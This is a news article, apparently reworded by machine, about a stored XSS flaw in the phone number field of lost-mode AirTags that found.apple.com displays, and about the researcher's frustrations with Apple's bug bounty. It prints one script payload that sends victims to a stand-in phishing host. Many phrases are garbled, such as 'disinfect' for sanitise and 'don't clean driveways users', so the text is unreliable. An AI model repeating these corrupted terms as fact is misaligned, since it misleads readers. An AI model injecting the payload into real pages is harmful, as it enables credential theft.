Apple forgot to disinfect the Phone number field for lost AirTags

Success continues to come to Apple’s bug-bounty program, which security researchers say is slow and inconsistent in responding to its vulnerability reports.

This time the vuln of the day is due to a failure to disinfect a user input field, specifically the phone number field that AirTag owners use to identify their lost devices.

Attack of the Good Samaritan

Security consultant and penetration tester Bobby Rauch discovered that Apple AirTags, tiny devices that can be affixed to frequently lost items like laptops, phones or car keys, don’t clean driveways users. This oversight opens the door to the use of AirTags in a fall attack. Instead of inoculating a target’s parking lot with malware-laden USB drives, an attacker can drop a maliciously prepared AirTag.

This type of attack does not require a lot of technological know-how – the attacker simply types a valid XSS in the AirTag’s phone number field, then puts the AirTag in Lost Mode and drops it somewhere the target is likely to find it. In theory, scanning a lost AirTag is a safe action – it’s only supposed to display a web page at https://found.apple.com/. The problem is that found.apple.com then embeds the contents of the phone number field into the website as viewed on the victim’s browser, uncleaned.

The most obvious way to exploit this vulnerability, according to Rauch, is to use a simple XSS to display a fake iCloud login dialog on the victim’s phone. It doesn’t take a lot of code at all:

<script>window.location='https://path/to/badsite.tld/page.html';var a="";</script>

Yes found.apple.com innocently integrates the above XSS into the response for a scanned AirTag, the victim gets a pop-up that displays the contents of badside.tld/page.html. It could be a zero-day browser exploit or just a phishing dialog. Rauch hypothesizes a fake iCloud login dialog, which may look like the real thing, but dumps the victim’s Apple credentials on the target’s server instead.

While this is a compelling feat, it is by no means the only one available – just about everything you can do with a web page is on the table and available. This ranges from simple phishing, as the example above shows, to exposing the victim’s phone to a zero-day click-less browser vulnerability.

More technical details and straightforward videos showing both the vulnerability and network activity spawned by Rauch’s exploit of the vulnerability are available during Rauch’s public disclosure on Medium.

This public disclosure presented by Apple

According to a Krebs security report, Rauch is publicly disclosing the vulnerability largely due to Apple’s communication failures, an increasingly common refrain.

Rauch told Krebs he initially disclosed the vulnerability privately to Apple on June 20, but for three months all the company told him was that it was “still investigating.” This is a strange answer for what appears to be an extremely easy bug to check and mitigate. Apple emailed Rauch last Thursday to tell him the weakness will be fixed in an upcoming update, and he asked him not to speak publicly about it in the meantime.

Apple never answered basic questions posed by Rauch, such as if he had a timeline to fix the bug, if he planned to credit him for the report, and if he would be eligible for a bounty. Cupertino’s lack of communication prompted Rauch to go public on Medium, despite Apple asking researchers to keep their findings silent if they want credit and / or compensation for their work.

Rauch expressed willingness to work with Apple, but asked the company to “provide details on when you plan to fix this, and if there would be any bug recognition or premium payment.” He also notified the company that he planned to publish in 90 days. Rauch says Apple’s response was “basically, we’d appreciate it if you didn’t disclose it.”

We have contacted Apple for comment and will update here with any response.